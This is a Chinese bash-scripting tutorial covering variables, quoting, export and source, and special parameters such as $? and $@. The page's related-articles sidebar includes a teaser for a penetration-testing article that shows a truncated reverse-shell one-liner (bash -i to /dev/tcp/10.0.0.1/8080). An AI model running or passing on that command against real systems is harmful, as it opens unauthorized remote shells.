linux之shell编程基本语法

  Shell是用户与内核进行交互操作的一种接口,目前最流行的Shell称为bash Shell。Shell也是一门编程语言<解释型的编程语言>,即shell脚本<就是在用linux的shell命令编程>。一个系统可以存在多个shell,可以通过cat /etc/shells命令查看系统中安装的shell,不同的shell可能支持的命令语法是不相同的。

原文和作者一起讨论:http://www.cnblogs.com/intsmaze/p/6681562.html

基本格式

  代码写在普通文本文件中,通常以 .sh为后缀名

vi intsmaze.sh

#!/bin/bash    ## 表示用哪一种shell解析器来解析执行我们的这个脚本程序
echo "hello world"   ##  注释也可以写在这里
## 这是一行注释

执行脚本

sh intsmaze.sh

或给脚本添加x权限,直接执行,否则只能通过sh xxx.sh执行

chmod 755 intsmaze.sh

./intsmaze.sh

基本语法

系统变量

Linux Shell中的变量分为“系统变量”和“用户自定义变量”。可以通过set命令查看系统变量。

[hadoop@centos-Reall-131 shtest]$ set
BASH=/bin/bash
HADOOP_HOME=/home/hadoop/hadoop-2.6.4
HISTCONTROL=ignoredups
HISTFILE=/home/hadoop/.bash_history
HISTFILESIZE=1000
HISTSIZE=1000
HOME=/home/hadoop
HOSTNAME=centos-Reall-131
HOSTTYPE=i386
ID=500
JAVA_HOME=/home/hadoop/app/jdk1.7.0_65
LANG=en_US.UTF-8
LESSOPEN='|/usr/bin/lesspipe.sh %s'
LINES=24
LOGNAME=hadoop

访问系统变量:$HOME、$PWD、$SHELL、$JAVA_HOME等等

自定义变量

  1、语法

  变量=值 (例如STR=abc)

  等号两侧不能有空格

  使用变量: $arg

   双引号和单引号有区别:双引号仅将字符串中的空格脱意;单引号会将字符串中的变量引用比如$param脱意。

  2、示例

[hadoop@centos-Reall-131 ~]$ STR=hello world 
-bash: world: command not found
[hadoop@centos-Reall-131 ~]$ STR="hello world"
[hadoop@centos-Reall-131 ~]$ A=9
[hadoop@centos-Reall-131 ~]$ echo $A
9
[hadoop@centos-Reall-131 ~]$ echo $STR
hello world

如果想打印 hello worlds is greater  怎么办?

echo $STRs is greate 行吗?

不行,正确写法是:

echo ${STR}s is greate

[hadoop@centos-Reall-131 ~]$ echo ${STR}s is greate
hello worlds is greate
[hadoop@centos-Reall-131 ~]$ echo '${STR}s is greate'
${STR}s is greate
[hadoop@centos-Reall-131 ~]$ echo "please$STR" 
pleasehello world
[hadoop@centos-Reall-131 ~]$ echo 'please$STR'
please$STR

unset A 撤销变量 A

readonly B=2 声明静态的变量 B=2,不能 unset

export  A   #可把变量提升为当前shell进程中的全局环境变量,可供其他子shell程序使用

 vi a.sh

#!/bin/bash
a="a in a.sh"
echo $a
/root/scripts/b.sh

vi b.sh

#!/bin/bash
b="b in b.sh"
echo $b
echo $a

然后执行  ./a.sh ,会发现b脚本中并没有把a脚本中定义的a变量打印出来。

如果要在b中打印出a脚本的变量a,需要在a脚本中把变量a做export定义,此时,a变量就成了a.sh脚本所在bash进程的全局变量,该进程的所有子进程都能访问到变量a。

另一种方式:

如果在a.sh脚本中用如下方式调用b.sh

.  ./b.sh    ## 注意:重点关注最前面那个 “.”号

或者

source ./b.sh   ##

则,b.sh就在a.sh所在的bash进程空间中运行,而不是在a进程中的子进程中运行了。

总结:

1、a.sh中直接调用b.sh,会让b.sh在a所在的bash进程的“子进程”空间中执行

2、而子进程空间只能访问父进程中用export定义的变量

3、一个shell进程无法将自己定义的变量提升到父进程空间中去

4、“.”号执行脚本时,会让脚本在调用者所在的shell进程空间中执行

3、反引号赋值

A=`ls -la`    ## 反引号,运行里面的命令,并把结果返回给变量A

A=$(ls -la)   ## 等价于反引号

4、特殊变量

$? 表示上一个命令退出的状态码

$$ 表示当前进程编号

$0 表示当前脚本名称

$n 表示n位置的输入参数(n代表数字,n>=1)

$# 表示参数的个数,常用于循环

$*和$@ 都表示参数列表

注:$*与$@区别

$* 和 $@ 都表示传递给函数或脚本的所有参数

ü 不被双引号" "包含时——

$* 和 $@ 都以$1  $2  … $n 的形式组成参数列表

ü 当它们被双引号" "包含时——

"$*" 会将所有的参数作为一个整体,以"$1 $2 … $n"的形式组成一个整串;

"$@" 会将各个参数分开,以"$1" "$2" … "$n" 的形式组成一个参数列表

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户画像

Mac安装maven

maven:https://maven.apache.org/download.cgi , 并解压到某个目录。

1.5K30
来自专栏bboysoul

linux下重命名脚本推荐

12820
来自专栏bboysoul

在终端显示一个圣诞树

最近真的是太懒了,懒得更新博客了都,这篇博客本来应该早就写出来的,下面介绍一个脚本,是一个大神写的,就是在你的终端上显示一颗圣诞树

12750
来自专栏bboysoul

使用rvm来管理ruby版本

首先导入秘钥 gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A17031...

23830
来自专栏用户画像

Mac安装配置Tomcat

地址:http://tomcat.apache.org/download-90.cgi 

9910
来自专栏黑白安全

渗透过程中的端口反弹

[sourcecode language="plain"]bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;...

9710
来自专栏用户画像

MAC配置环境变量

 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!

8930
来自专栏bboysoul

linux下的彩蛋和各种有趣的命令

循环输出 for ((i=1;i<=30;i++));do linux_logo -f -L $i;sleep 0.1;done

20240
来自专栏我的小碗汤

shell脚本批量调用接口

要求在页面查询到5000条数据,为了方便插入,用shell脚本写curl命令调用自己写的代码接口;

30920
来自专栏贺贺的前端工程师之路

GIT 安装

上面是国内某牛人的git介绍。想详细了解git的同学可以访问一下的网址,花几分钟的时间学习一下世界上最先进的分布式版本控制系统!

16720

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励